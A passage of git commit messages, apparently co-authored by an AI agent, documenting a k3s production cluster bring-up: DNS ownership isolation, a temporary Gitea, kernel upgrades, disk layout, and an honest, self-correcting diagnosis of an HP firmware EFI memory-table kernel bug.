can delete nothing rather than silently inheriting dev's identity.
I OVERRODE ONE AGENT DECISION against our own prior finding: it narrowed prod's
domainFilters to prod.home.keithjackson.dev as defence in depth. FINDING F-DNS1
(DECISIONS-LOG 2026-08-17) already proved a subdomain filter DROPS THE PARENT ZONE —
ExternalDNS generates the record then skips it with "no hosted zone matching record DNS
Name". Prod would have published NOTHING. Set to the ZONE (keithjackson.dev) like dev.
Isolation comes from the subdomain split plus txtOwnerId, which is what the incident
actually needed and what a domain filter cannot provide.
DEV PROVEN UNCHANGED: 11 of 12 substituting paths byte-identical; the 12th differs by
exactly one line, `+ txtOwnerId: default` — the value dev was already using implicitly.
POSITIVE CONTROLS confirm the harness is not blind: perturbing BASE_DOMAIN moves 10 of 12
hashes (the 2 that don't provably contain no hostname), perturbing the owner id moves
exactly 1. Prod's rendered output has ZERO home.keithjackson.dev references outside prod.,
and its cert renders *.prod.home.keithjackson.dev — no overlap with dev's.
L0 substitution assertions 106 -> 254; BASE_DOMAIN is no longer flagged dead. Gate PASS.
PROD REMAINS SUSPENDED (platform + 10 downstream tiers) pending review; nothing applied.
Serves: R-ENV-02, R-DNS-01, R-DNS-02, R-DNS-03, R-TLS-01.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
Autonomous prod bring-up, operator away. Three changes that together clear the last
blockers before `flux bootstrap`.
=== 1. TEMPORARY BOOTSTRAP GITEA — the last hard blocker, cleared ===
clusters/prod's source URL could not work: Gitea runs ON the dev cluster (the one slated for
decommission) and split-horizon DNS resolves gitea.home.keithjackson.dev to PROD's OWN
gateway. Stood up the existing bootstrap/gitea/bootstrap-gitea.sh on the operator's
workstation with HOST_NAT_IP=192.168.2.132; all three prod nodes verified reachable
(Gitea 1.22.6 via the API), no firewall change needed — prod is on the same /24, no NAT.
clusters/prod now points at http://192.168.2.132:3000/... under a boxed TEMPORARY banner
with a 5-step cutover checklist ending 'delete this whole block — dev's stanza is what done
looks like'. Repo verified PUBLIC with anonymous read two independent ways (API
"private":false; git ls-remote unauthenticated with GIT_TERMINAL_PROMPT=0), so NO secretRef
is needed — documented so a future auth failure is not misread as a network fault.
bootstrap-gitea.sh's header corrected: it documented HOST_NAT_IP=10.73.0.1, the RETIRED
libvirt NAT, and forbade agent use; the operator has now directed this for prod.
=== 2. WIRELESS DISABLED ON PROD (operator-reported) ===
k3s-prod-3 was on ethernet AND wireless, and the wifi DHCP client was overwriting
/etc/resolv.conf. Root cause of the silence: node_baseline's DNS `contended` detection
checked resolvconf and NetworkManager but NOT dhcpcd, so the role wrote resolvers, reported
success, and dhcpcd reverted them on lease renewal — the exact 'green run that fixed
nothing' the contended branch exists to prevent.
Now IaC, not a one-off: survey wireless hardware, **REFUSE to disable it if the path to the
node runs over the wireless interface** (the guard that meant an agent dying mid-apply cost
nothing), blacklist the driver so it never reloads, stop dhcpcd only where it holds a
wireless interface and nothing else, take links down and unload modules with NO reboot, then
report the resulting state. dhcpcd is now in the contended set without weakening fail-closed.
Applied and verified: node 3's wlp1s0 is GONE from /sys/class/net, dhcpcd inactive and its
unit not-found, ONE default route per node, all three on 8.8.8.8/1.1.1.1 resolving public
names. Safe and idempotent on nodes 1 and 2, whose wifi hardware was already down.
=== 3. flux_bootstrap PATH PARAMETERISED ===
bootstrap/flux/bootstrap.sh already read FLUX_ENV_PATH but the role never exported it, so it
ALWAYS bootstrapped clusters/dev — prod was impossible. Two behaviour-bearing lines: role
default clusters/dev + `environment: FLUX_ENV_PATH`, overridden to clusters/prod in
group_vars/k3s_prod. Proven per host with a read-only Ansible probe: prod hosts resolve
clusters/prod, localhost/hypervisor resolves clusters/dev. Only two definitions repo-wide.
DEV PROVEN BYTE-IDENTICAL for the source change: all 12 substituting Flux paths rendered for
both trees, 27/27 SHA-256 artefacts identical, with TWO POSITIVE CONTROLS (an overlay-level
canary and a deep-path content canary) confirming the harness detects change — and both
canaries proven restored. Honest scope note recorded: kustomize strips comments, so the
harness proves the built stream, not source comments.
L0 substitution check: 106 assertions, 0 hazards. ci/l0.sh and ci/lint.sh exit 0.
=== STILL BLOCKING A FULL PROD RECONCILE (operator decisions) ===
- S3_BACKUP_ENDPOINT remains TBD-PROD-*: prod CANNOT reach dev's versitygw at
192.168.1.9:9000 (verified UNREACHABLE from all three — the pfSense boundary), and a prod
backup target is a deferred operator decision. Deliberately NOT invented: a DR target on a
workstation container would create false confidence. Velero/CNPG backups will fail loudly.
- Prod's public resolvers mean the API server's oidc-issuer-url resolves PUBLICLY, so kubectl
SSO will not work on prod until split-horizon is solved for it (§4).
- The temp Gitea is a single container on the operator's workstation — a single point of
failure for prod reconciliation, acceptable for bring-up only.
Serves: R-GITOPS-01, R-DNS-01, R-DNS-03, R-ENV-02, R-ENV-03. Task: T-7.1.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
Prod is being stood up now, without waiting for node 2's RAM upgrade. Three coupled
changes, all applied and verified on all three nodes.
=== 1. KERNEL >= 6.13 — now a PREREQUISITE, not a nice-to-have ===
A k3s SERVER that intermittently boots with 2.6 GiB is not a degraded node; it fails under
etcd plus its workload share, unpredictably, on any reboot. Fixed before k3s goes on.
roles/node_baseline gains a `kernel`-tagged block: asserts the suite matches the node's
Debian release, writes a deb822 trixie-backports source, installs, reads back the exact
version, writes a provenance/rollback note to the node. Scoped by
node_baseline_backports_kernel (default FALSE, true only in group_vars/k3s_prod) — chosen
over a hostname test so a fourth prod node inherits it from group membership. Verified:
--check against dev skips all 8 tasks on all 3 hosts. Two deliberate calls: `state: latest`
not `present` (linux-image-amd64 was already installed from main, so `present` would have
silently fixed nothing), and NO preferences.d pin (backports' NotAutomatic +
ButAutomaticUpgrades already gives 100/500; an explicit Pin-Priority: 100 would switch OFF
automatic security upgrades for the very kernel being installed).
Installed 7.1.8+deb13-amd64 on all three; 6.12.107 kept bootable.
THE DECISIVE PROOF: node 2 booted at MEMATTR=0xbeeb0018 — the EXACT address that gave it
2.6 GiB twice — and now reserves 634,904K instead of 13,958,980K. MemTotal 15.4 GiB. Same
address, handled correctly; not a lucky draw.
§0b's claim that a fixed kernel prints 'FW_BUG Corrupted...' is CONDITIONAL and was
corrected: >=6.13 has three rejection gates and only the third prints that line; all three
nodes hit gate 1 (version > 2). Proof instead is boot-independent — decompressing
/boot/vmlinuz on all three yields the FW_BUG and descriptor-size strings verbatim; neither
exists in 6.12.
TWO MORE BUGS IN MY OWN HEALTH CHECK, found because the fix couldn't otherwise be shown:
- MEMATTR_VERSION_RE matched (\d+) but the kernel prints that field with %d — SIGNED. Node
2's real value was -1569980416, which did not match, so state fell through to `clean` and
the node reported PASS "the kernel accepted it without complaint". A FALSE PASS on the
exact bug the check exists to find. Now (-?\d+).
- bad_version was WARN unconditionally, so a FIXED node would have stayed WARN forever.
Now keys on memattr_kernel_fixed: same line, WARN below 6.13, PASS at/above.
=== 2. DISK LAYOUT — Longhorn claimed, per-node paths DISCOVERED not hardcoded ===
Operator decision: reuse the ~424 GB partition; accept the shared-device I/O risk (dev's
etcd/Longhorn contention was on a spinning HDD, prod is SSD/NVMe).
Device paths differ per node (sda5 / nvme0n1p5 / sda5), so the role DISCOVERS the partition
via `findmnt --mountpoint` on a declared claim mountpoint rather than trusting inventory.
Per-host host_vars would have frozen today's hardware into inventory, where it goes stale on
the first re-image and the stale value's failure mode is mkfs on the WRONG partition.
Eleven fail-closed asserts before any write: real block device, not backing / /boot /usr
/var /home /tmp or active swap (built from the node's OWN gathered facts, never a hardcoded
list), already ext4, no foreign label, >= 100 GiB, and empty. Relabel, never reformat.
/srv verified empty first on every node (ls -A -> lost+found only; du 20K; the "5.1% used"
was ext4's default 5% root reserve).
=== 3. k3s DATA-DIR MOVED — /var was 11.8 GiB and would have killed etcd ===
Measured on the fully-deployed dev cluster: containerd 21-25 GB/node, /var total 58-70 GB.
Prod's /var is 11.8 GiB and held BOTH etcd and the image store, so prod would have filled
/var during its first image pulls — and a full /var means etcd cannot write its WAL. Cluster
death, not degradation, arriving during bring-up. Invisible when the disk decision was made,
because "etcd on root" sounded like the 30 GiB / rather than a separate 12 GiB /var.
Now: p5 -> /data (LABEL=k3s-data), with /data/longhorn and /data/k3s. Neutral names chosen
deliberately — the partition now has two tenants, and reusing /srv would make "claimed" and
"unclaimed" indistinguishable to the idempotency pivot, while a bare `data` label would make
a stranger's `data` volume look already-claimed and weaken an assert.
The transition off the existing LABEL=longhorn mount is DECLARED, not inferred
(node_baseline_data_retired_fs_label/_retired_mount, defaults ""), because changing the label
makes a claimed node answer "no" to the pivot and walk into the greenfield path. Self-retiring
once blkid -L k3s-data succeeds. THREE independent gates keep live dev out: retired vars
default ""; gated on longhorn_source == claim-mountpoint (dev is `device`); and the emptiness
assert fails closed on dev's 18 volumes even if both were defeated.
k3s_data_dir is one variable read by two roles (k3s_server --data-dir; node_baseline derives
the etcd mount). Role default is k3s's own default, so dev is unchanged and keeps its
dedicated etcd device. node_baseline_etcd_source becomes `shared-data-partition` and is
LOAD-BEARING: the role asserts per run that the filesystem backing the etcd dir really IS the
data partition — had the mount silently failed, etcd plus 21-25 GB of images would land back
on the OS filesystem invisibly until the disk filled.
LONGHORN_DATA_PATH is a new cluster-vars knob (R-ENV-02): base and DEV /var/lib/longhorn,
prod /data/longhorn.
DEV PROVEN UNCHANGED, which is the property that mattered — the live cluster has 18 Longhorn
volumes on that path. All 12 substituting Flux paths rendered through
`kubectl kustomize | flux envsubst --strict` for both trees: 12/12 per-file SHA-256 identical
and an identical aggregate SHA over every rendered dev byte. With a POSITIVE CONTROL showing
the same harness detects prod changing on exactly one line — an all-identical result is
worthless if the harness cannot see change. Live check after: dev's default-data-path setting
still /var/lib/longhorn, 18 volumes attached, 0 Kustomizations unready.
Idempotent: run 2 is changed=0 on all three nodes. Also fixed a real tag bug — include_tasks
does NOT propagate its own tags to included tasks (unlike import_tasks), so `--tags disks`
selected the include and ran nothing inside it while reporting success.
OPEN DEFECTS, tracked not forgotten: node 2's warm-reboot hang (one clean reboot since, NOT a
fix); and node 3 runs dhcpcd for its wifi interface, which rewrites /etc/resolv.conf on lease
renewal — the role's `contended` detection checks resolvconf and NetworkManager only, so node
3's decided resolvers will silently revert.
Gate: MERGE GATE: PASS. L0 substitution check 106 assertions.
Serves: R-ENV-01, R-ENV-02, R-ENV-03, R-STATE-01, R-STATE-02, R-PLAT-01. Task: T-7.1.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
THE MODEL WAS WRONG AND MY CHECK WITH IT. A live counter-example: k3s-prod-2 after its power
cycle shows MEMATTR=0xbeeb0018 and 'Failed to map ... @ 0xbeeb0018' — the SAME address and SAME
line as both of its 2.6 GiB boots — with MemTotal 15857732 kB, i.e. 15.1 GiB of 16 GB. FULL
MEMORY. The check reported FAIL 'THIS NODE HAS LOST MEMORY TO THE BUG' on a healthy node while
memory.physical_total correctly PASSed at 4.2%. The two checks contradicted each other.
REFINED MECHANISM — two kernel functions were conflated:
efi_memattr_init() does the memblock_reserve(). Catastrophic loss needs tbl_size NEGATIVE
(signed int -> sign-extended -> clamped to PHYS_ADDR_MAX). A garbage-but-POSITIVE tbl_size
reserves a modest wrong amount and costs nothing noticeable.
efi_memattr_apply_permissions() does the later memremap(), and THAT is what prints
'Failed to map'. It fails for ANY sufficiently wrong size, negative or merely large-positive.
So the line proves the table was corrupt AND TRUSTED, not that memory was lost. The cost is set
by the garbage VALUE, which is why one address gave 2.6 GiB twice and 15.1 GiB once.
THIS ALSO REFUTES THE ADDRESS->OUTCOME HYPOTHESIS OUTRIGHT — not untested, disproven.
STRUCTURAL FIX so the contradiction cannot recur: the shortfall is computed ONCE into a shared
fact (node_health_mem_shortfall) with worst-wins sub-verdicts; memory.physical_total IS that
verdict and firmware.efi_memattr READS it, measuring nothing itself. FAIL is gated on the shared
verdict. 'Failed to map' + normal memory is now WARN ('the bug fired and this boot survived it').
No honesty guard was weakened; one was strengthened (the measurement clause falls back to the DIMM
shortfall when zoneinfo is unreadable, and only claims 'could NOT be measured' when neither was
read). All five paths incl. the two unproducible-live SKIPs exercised against synthetic facts.
Verdicts: prod-1 WARN, prod-2 WARN (was FAIL), prod-3 PASS, dev unaffected.
SECOND FAULT, arguably worse for prod: NODE 2 HANGS ON A WARM REBOOT, STAYING POWERED. Its
journal ends cleanly mid-shutdown ('eno1: NIC Link is Down') then stops; the box sat powered but
off-LAN for ~38 min until the operator held the power button. A node that cannot survive an
unattended warm reboot cannot be rolled in an HA cluster, and node_health cannot see a machine
that is off the network. Leading candidate: node 2 is the ONLY node with 'Recover OS after Boot
Failure = Enable' — promoted from 'coincidence' in the BIOS diff to a live availability defect.
The reboot survey is NOT viable unattended on node 2 until this is understood.
SURVEY RESULTS (40 boots): prod-1 0/20, prod-3 0/20, prod-2 0 ROUNDS (hung on its first reboot),
pooled 0/40 -> p(bad) 95% CI 0.000-0.088. NOT elimination: 0/20 still permits 17% per node, and
node 2's prior 2-of-3 is unchanged. What it did establish: addresses are node-specific and highly
concentrated (node 1 used 3 distinct addresses in 20 boots, 15 at one; no address ever shared
between nodes); MEMATTR -> parse was a PERFECT function across all 7 repeated addresses over 37
boots; and the corrupting bytes are stable PER MACHINE (node 1 always 1030, node 3 always
1463964749), so the 'shared OS boot chain' inference needs refining.
Adds playbooks/memattr-survey.yml + roles/memattr_survey — reboots opt-in, resumable, artifacts
gitignored. Documents an Ansible defect worth knowing repo-wide: a looped include_tasks under the
default 'linear' strategy is flattened per host, so hosts run SERIALLY; the first attempt rebooted
node 1 twenty times while the others idled. Fixed with strategy: free + a forks preflight assert.
Serves: R-ENV-01, R-ENV-03, R-OBS-04, R-TEST-02. Task: T-7.1.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
k3s-prod-3 online at the planned 192.168.2.12 (serial 8CC015307N, same chassis/BIOS/CPU),
enabled in inventory, vaulted become confirmed, package floor installed. Health: 0 FAIL /
4 WARN / 14 PASS / 1 SKIP — the only node with zero FAILs. WD Blue WDS500G2B0A SATA SSD at
100% life, 3213 h, 0 grown bad blocks, 0 erase fails. Matched Crucial 2x16 GB pair — the only
node with symmetric memory.
*** NODE 3 IS NOT IMMUNE TO THE §0b BUG. *** Its firmware DOES publish a MAT
(MEMATTR=0xbeece018); the ABSENCE of a memattr diagnostic line means the kernel read a VALID
table, which is the opposite of immunity. There are THREE outcomes, not two: bail-out on a
garbage version >2, a valid parse with a sane size, and the catastrophic path. Seven boots across
three machines show the MAT address MOVES BOOT-TO-BOOT on every node with settings constant, and
each node has been seen on more than one path. Blast radius widens from two nodes to ALL THREE;
all three need the >= 6.13 kernel.
THE CORRUPTING BYTES ARE THE OS BOOT CHAIN, not firmware and not DRAM: garbage version
1463964749 = 0x5742544D appeared on node 2 AND node 3 — two different machines, identical bytes.
The overwriter is the shared shim/GRUB/EFI-stub/initrd placement writing into the page the
firmware pointed at. So initrd size, module set and boot device are part of the causal chain.
BIOS-SETTING HYPOTHESIS: DISPROVEN, and the three-way diff cannot support it even in principle.
All 240 attributes read on all three; firmware identical fleet-wide. The discriminating set (both
working nodes agree, broken differs) is seven attributes, of which:
- Fast Boot is the ONLY live candidate, and only as a probability-shifter — HP documents it
'skips some preboot initialization steps', which changes the heap top and hence where the MAT
lands. Different mechanism from the previously-killed MRC-caching theory; that stays dead.
- Legacy Boot Options is AFFIRMATIVELY INERT: 'Configure Legacy Support and Secure Boot' =
'Legacy Support Disable and Secure Boot Enable' on ALL THREE, Option ROM Launch Policy =
'All UEFI' on all three. No CSM is built on node 2 either. A naive diff gets this wrong.
- the rest are coincidence. After Power Loss is ELIMINATED by node 3, which works and shares
node 2's Power Off — though it is now a §1 checklist violation on TWO nodes.
FATAL CONFOUND: the 1=3!=2 partition is perfectly collinear with node 2 being the only
single-DIMM AND the only NVMe-booting node. Adding node 3 did not break the confound, it DOUBLED
it. No setting can be the cause anyway: node 2 booted good once and bad twice with settings held
constant.
EXPERIMENT DESIGN RECORDED because the obvious approach is statistically worthless: p(bad) is
known only to n=3, 95% CI ~0.09-0.99, so even 8 clean boots prove nothing. Elimination needs ~20
boots/arm; an odds shift needs ~50. Zero-touch first step: 20 reboots of node 2 unchanged, logging
MEMATTR address vs outcome — both failures were at exactly 0xbeeb0018 and all five successes
elsewhere, so if outcome maps onto a narrow address range the mechanism is settled without
touching anything.
ROLE BUG FIXED: node 3's WD drive reports a SMART threshold for only 1 of 25 attributes, and
smartctl OMITS the key rather than emitting 0 — summary.txt.j2 dereferenced a.thresh bare in five
places and the report task died, so no artifact was written. Added a thr() macro rendering 'n/a'
(deliberately not 0, which would read as a real ATA cannot-trip threshold). Would have hit any
drive of this class.
Also: three nodes, three different disk models, only one NVMe, and every node has a single disk
with no unpartitioned spare — so §2's identical-layout requirement is unmet on all three.
Serves: R-ENV-01, R-ENV-03, R-OBS-04. Task: T-7.1.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
Operator asked whether waiting is viable or whether a backports kernel is permanent. Answer: it
will NOT arrive on its own, but it CAN be made to, and the ask is unusually strong.
VERIFIED:
- NOT in linux-6.12.y. Newest commit touching memattr.c on that branch is 2024-07-12. In mainline
since v6.13 (2025-01-19) — ~19 months, ~97 point releases.
- NO stable tag and NO Fixes: tag on either commit. Structural, not an oversight: the unvalidated
arithmetic dates to the file's creation in 2016, so it is not a regression and there is no bad
commit to point Fixes: at. BOTH automatic feeds — Fixes:-scanning and AUTOSEL — had nothing to
grab. AUTOSEL never surfaced it for any branch.
- NOBODY has requested it: nothing on [email protected], nothing in all 8,027 open+archived
Debian bugs against src:linux.
- 6.12 LTS EOL is December 2028 — outlives Debian 13's support window, so not time-barred.
- Debian REBASES: trixie carries 6.12.94-1 in trixie-security ('New upstream stable update'), so an
upstream pickup would reach us via a normal apt upgrade.
THE DECISIVE CARD: the cherry-pick is BYTE-CLEAN. Debian trixie 6.12.94-1's memattr.c hashes to
164203429fa7a..., identical to the upstream patch's pre-image blob — the file has not diverged
between v6.12 and the commit's parent. cherry-pick applies with zero conflicts and zero adjustment,
which removes the usual reason such requests get declined. The commit also meets every
stable-kernel-rules criterion: mainline, 17 insertions, 'hardware quirk', 'a real bug that bothers
people'.
PLAN: backports now as explicitly provisional; email [email protected] (rules Option 2) CC
linux-efi and Ard Biesheuvel who authored AND committed it as EFI maintainer, leading with the
clean-apply proof and the three-boot reproduction with byte-identical e820; Debian BTS as secondary
under handbook §9.1.7; make the deviation permanent only if there is no movement in 4-6 weeks.
Only 8fbe4c49c0cc is needed by hand — 5d0faa8e8369 loosens a heuristic that was rejecting
LEGITIMATE tables and is not required for this symptom.
Serves: R-ENV-01, R-ENV-03. Task: T-7.1.
Surfaced by the new node_health DIMM reporting, unrelated to the memattr bug and NOT a fault:
DIMM1 is a Micron 8ATF2G64HZ-3G2E1 (DDR4-3200), DIMM3 a Micron 16ATF2G64HZ-2G6E1 (DDR4-2667).
Both 16 GB so capacity is right, but different rank organisation and rated speed mean the pair
runs at the slower 2667.
Recorded in §0 where the symmetry decision gets made, because §2 requires the three nodes to end
up with identical layouts and the previous '2x16 GB Micron' note hid the mismatch.
Serves: R-ENV-03. Task: T-7.1.
The fault is BOOT-TO-BOOT NON-DETERMINISTIC — the same machine booted correctly two boots
earlier — so it has to be detected on every health run, not diagnosed once. And node 1 is
exposed to the identical lottery on every reboot while currently looking healthy.
firmware.efi_memattr — reads the kernel ring buffer and distinguishes six states:
Failed to map EFI Memory Attributes table @ 0x.. -> FAIL (memory lost NOW)
Unexpected EFI Memory Attributes table version <N> -> WARN (corrupt table still published;
intact only by luck)
[Firmware Bug]: Corrupted EFI ... detected! -> PASS (the >=6.13 fix working)
no memattr line, log reaches early boot -> PASS (no table / accepted / not UEFI)
no memattr line, log does NOT reach early boot -> SKIP
dmesg unreadable -> SKIP
memory.physical_total — deliberately a SEPARATE check, not folded in: it measures the SYMPTOM
with no kernel log at all, so an unreadable-dmesg node is still not unmeasured. Two sub-verdicts,
worst wins: /proc/zoneinfo present-vs-managed (world-readable, works on metal and VMs — sum of
managed IS MemTotal) and MemTotal vs the DIMM total from dmidecode. Thresholds 10% WARN / 25%
FAIL, set from measured baselines: 2.0% prod-1, 2.1% workstation, 2.2% dev VM, vs 83.4% prod-2.
THREE GUARDS AGAINST A FALSE PASS, because "no memattr line" must never silently mean "fine":
1. dmesg failure yields available:false with the exact reason (rc, uid, kernel.dmesg_restrict) -> SKIP
2. the ring buffer WRAPS and every memattr line prints in the first fraction of a second, so the
collector records a boot_covered anchor (Linux version / BIOS-provided physical RAM map); no
memattr line WITHOUT that anchor is a SKIP, not a PASS
3. memory.physical_total needs no kernel log at all
Verified by forcing the unprivileged path: SKIP with the EPERM reason while zoneinfo still PASSed.
VERDICTS, confirmed live:
k3s-prod-1 WARN "EXPOSED, not immune ... survived only because its garbage version field read
1030, which is > 2 ... one unlucky boot from the failure state" + PASS 2.0%
k3s-prod-2 FAIL "THIS NODE HAS LOST MEMORY TO THE BUG ... at 0xbeeb0018" + FAIL 83.4%/83.6%
k3s-dev-* PASS both, NO false finding: "no UEFI config-table line ... did not boot via UEFI.
Log reaches back to early boot, so that absence is measured, not assumed."
Both failure texts carry the remediation verbatim, including that there is NO kernel cmdline
workaround because efi_memattr_init() runs before any efi= bail-out.
Root-gating follows the role's existing pattern: --privileged re-runs THE SAME collector under
become, only when the unprivileged pass actually failed to read something. Reimplementing the log
grep and SMBIOS parse in Jinja would have been a second source of truth for the same fact.
LATENT BUG FIXED in passing: the collector's run() used bare shutil.which(), so dmidecode (in
/usr/sbin) was invisible under the unprivileged k3s PATH and produced a FALSE "not installed"
skip reason. Now shares the sbin-aware which() collect_tools() already had.
INCIDENTAL FINDING recorded in §0b: node 1's DIMMs are NOT a matched pair — DIMM1 Micron
8ATF2G64HZ-3G2E1 (DDR4-3200), DIMM3 Micron 16ATF2G64HZ-2G6E1 (DDR4-2667). Both 16 GB so capacity
is right, but different rank organisation and rated speed, so the pair runs at 2667. Not a fault;
recorded because §2 requires the three nodes to end up symmetric and "2×16 GB Micron" hid it.
Serves: R-ENV-01, R-ENV-03, R-OBS-04. Task: T-7.1.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
A second research pass reached the same root cause by a different route and pinned the
arithmetic. Recording it because convergence from two independent lines is what turns this from
a good hypothesis into a settled diagnosis.
MECHANISM TO THE BYTE:
- the garbage 'version' node 2 read was 1463964749 = 0x5742544D = ASCII 'MTBW'. The kernel is
reading unrelated data. HP publishes the MEMATTR pointer into memory /sys/firmware/memmap calls
plain System RAM, so the pre-Linux boot chain overwrites it.
- tbl_size is a SIGNED int; num_entries * desc_size wraps mod 2^32 and goes NEGATIVE when bit 31
lands. memblock_reserve sign-extends it and memblock_cap_size clamps to PHYS_ADDR_MAX - base,
so EVERYTHING above 0xbeeb0018 is reserved.
- memblock_free_all then hands the allocator nothing above that line while present_pages (from
memblock.memory) is untouched -> present 3340288 / managed 0.
- 'Failed to map EFI Memory Attributes table' is emitted LATER by efi_memattr_apply_permissions();
it is positive PROOF the reservation already happened, a consequence rather than the cause.
CLEANEST A/B TELL, one dmesg line: NODE_DATA(0) on prod-2 ends at 0xbeeb0000 — pgdat forced
immediately BELOW the reservation — while on prod-1 it ends at 0x82f800000, the top of RAM.
Identical 0x2a980 allocation, opposite placement.
THERE IS NO KERNEL CMDLINE WORKAROUND. efi_memattr_init() is called from
efi_config_parse_tables(), and x86's efi_init() calls efi_config_init() BEFORE the
efi_runtime_disabled() bail-out — so noefi / efi=noruntime / efi=novamap do NOT prevent the
reservation. A fixed kernel is the only real fix.
EFI_MEMORY_SP / soft-reserved was the strongest competing theory and is EXCLUDED BY MEASUREMENT:
/sys/firmware/memmap/10/type reads 'System RAM'. Soft-reserved would print as 'Soft Reserved' and
is never memblock_add()ed, which would have left present at ~0 rather than 3340288.
Also records that the hardening landed exactly one release late for Debian 13 (bug present since
2016; 8fbe4c49c0cc first in v6.13; follow-up 5d0faa8e8369) and that a Debian BTS report against
src:linux is warranted — 6.12 is Debian 13's kernel for the release lifetime.
Serves: R-ENV-01, R-ENV-03. Task: T-7.1.
I framed this as an OPEN HARDWARE FAULT and blamed, in order: the DIMM, BIOS memory remapping,
and stale Fast Boot memory-training data. ALL THREE WERE WRONG. The hardware is fine.
ROOT CAUSE: HP's R21 firmware publishes a CORRUPT EFI Memory Attributes Table, and Linux 6.12
fails to validate it before reserving memory from its contents. drivers/firmware/efi/memattr.c
never validates num_entries or desc_size:
if (tbl->version > 2) { pr_warn(...); goto unmap; }
tbl_size = sizeof(*tbl) + tbl->num_entries * tbl->desc_size;
memblock_reserve(efi_mem_attr_table, tbl_size);
Garbage version > 2 -> kernel bails, memory intact. Garbage version <= 2 -> kernel multiplies two
garbage fields and reserves GIGABYTES from the table address to the top of RAM.
THE EVIDENCE THAT SETTLES IT: the same machine — same DIMM, same BIOS, same kernel, same cmdline —
booted with the FULL 15.9 GiB two boots earlier, with a byte-identical BIOS-e820 map. Boot -2:
15,917,744K available, 615,208K reserved, 'Unexpected EFI Memory Attributes table version
1463964749'. Boots -1/0: 2.6 GiB, 13.9 GiB reserved, 'Failed to map ... @ 0xbeeb0018'. No hardware
fault is intermittent in that shape or fixed by a reboot. MemTotal = DMA(3840) + DMA32(684481)
pages = 2,753,284 kB exactly, Normal contributing zero.
BOTH PROD NODES ARE AFFECTED. k3s-prod-1 prints 'Unexpected EFI Memory Attributes table version
1030' — also garbage, but >2, so the kernel bails and it keeps its 32 GiB BY LUCK, NOT IMMUNITY.
It is one unlucky boot from the identical fault. Dev nodes publish no memattr table at all
(Proxmox OVMF) and are unaffected.
FIX: kernel >= 6.13 — upstream 8fbe4c49c0cc 'efi/memattr: Ignore table if the size is clearly
bogus', whose commit message describes this verbatim. Verified absent from v6.12 and from current
linux-6.12.y. On Debian 13: linux-image-amd64 from trixie-backports.
DO NOT buy RAM, move the DIMM, RMA the board, or run memtest expecting failures. Rebooting,
disabling Fast Boot, clearing CMOS and unplugging USB are all the same lottery — they move where
the table lands and may LOOK like fixes.
Records every killed hypothesis with its disproof so none of them get re-run.
Serves: R-ENV-01, R-ENV-03. Task: T-7.1.
Operator asked for the default BIOS password. ANSWER: there is none, and no factory default
exists to look up. HP business desktops ship with no Setup and no Power-On password; the
is_enabled=0 we measured IS the factory state. Recovery for a forgotten password is the PSWD
jumper — and 'stringent security' must NOT be enabled, since HP documents that it removes the
physical bypass and turns a 5-minute fix into a signed per-serial HP service case.
CORRECTION, and the kernel driver misled me: I recorded that the firmware refused our write for
lack of BIOS-admin authentication. Wrong. hp-bioscfg passes the return of HP's WMI SetBIOSSetting
through hp_wmi_error_and_message(), which is THE ERROR TABLE FOR A DIFFERENT INTERFACE (the
"SECU" commands under HP_WMI_BIOS_GUID). Per HP's Client Management Interface white paper,
SetBIOSSetting 4 = 'Failed' (generic) and 6 = 'Access Denied'. We got 4, not 6 — and the driver
has a separate BIOS_ADMIN_NOT_SET = 0x38 -> -EPERM for the no-password case, which we also did
not get. 'Invalid command type' is the driver looking 4 up in the wrong table: a genuine upstream
bug worth reporting to platform-driver-x86.
Most likely real cause (inferred, testable): with an empty password the driver emits an UNTAGGED
empty UTF-16 string, while every HP-documented caller passes Password="<utf-16/>" even when
blank — the driver only prepends that prefix for a non-empty string. Setting a password may fix
writes, but by flipping onto the tagged code path, NOT because 0x4 meant unauthorised.
Also verified from source: hp-bioscfg CANNOT set a password. current_password and new_password
both funnel into store_password_instance(), which only strscpy's into driver RAM; new_password is
write-only into a buffer nothing ever reads.
Count corrected: 241 attributes exposed, 239 with a current_value, 215 non-empty. I had quoted
215 as the total; it was the non-empty subset.
Recommendation recorded: land read-only drift detection now (zero risk, no new credential, and it
already caught real drift); treat a Setup password as a deliberate experiment on node 3 only;
hp-repsetup as fallback but it needs Secure Boot off or a self-signed module; skip Sure Admin/BCU
at this scale.
Serves: R-ENV-03, R-SEC-01. Task: T-7.1.
Operator asked whether node 2's missing memory could be reserved for integrated graphics.
TESTED, and no: /proc/iomem shows 'c8800000-cc7fffff : Graphics Stolen Memory' = EXACTLY 64 MiB,
matching the BIOS Video Memory Size=64 MB setting, and it sits BELOW the 4 GiB line. The UHD 630
(i915 bound) takes precisely what it is configured to take. It cannot account for 13.3 GiB and is
not even in the affected address range.
CORRECTION to my own analysis, prompted by checking that hypothesis properly: I cited the
'last_pfn revised DOWN from 0x42f800 to 0xc3c10' line as evidence of a memory cap. That was a
MISREADING. x86 boot prints last_pfn twice — first max_pfn from the full e820, then max_low_pfn,
the end of RAM below 4 GiB. The e820 low usable region ends at 0xc3c0ffff, so the next PFN is
exactly 0xc3c10, which is the second value observed. It matches to the byte and is normal on any
machine with more than 4 GiB. I presented a routine boot message as a smoking gun, and the
'memory remapping above 4 GB not being applied' signature claim rested partly on it.
The real anomaly is narrower than first stated: the Normal zone is 'present' but 'managed 0',
13.3 GiB is reserved, and nothing in the boot log explains by what. Ruled out so far: DIMM health,
firmware inventory, memory-remap settings (none exist on this platform), MTRR trim, iomem
registration, and now integrated graphics. Leading remaining hypothesis is stale memory-training
data cached by Fast Boot — testable with one F10 toggle.
Serves: R-ENV-03. Task: T-7.1.
Records node 2's as-found hardware alongside node 1 and removes two bullets that my earlier
edit left duplicated/obsolete (the BIOS comparison is done; clear-CMOS was listed twice).
Makes the hardware ASYMMETRY explicit in the table rather than buried in prose: node 1 is a
~2011 Micron C400 SATA SSD at 69% life with 15 grown bad blocks and 187 erase failures; node 2
is a Samsung PM9A1 NVMe at 96% life, PASSED. Same chassis, same BIOS, same CPU, same partition
layout — very different storage. §2 requires an identical disk layout across all three nodes
because Longhorn replica placement assumes symmetry, so this belongs in the inventory where the
disk decision will be made.
Serves: R-ENV-03. Task: T-7.1.
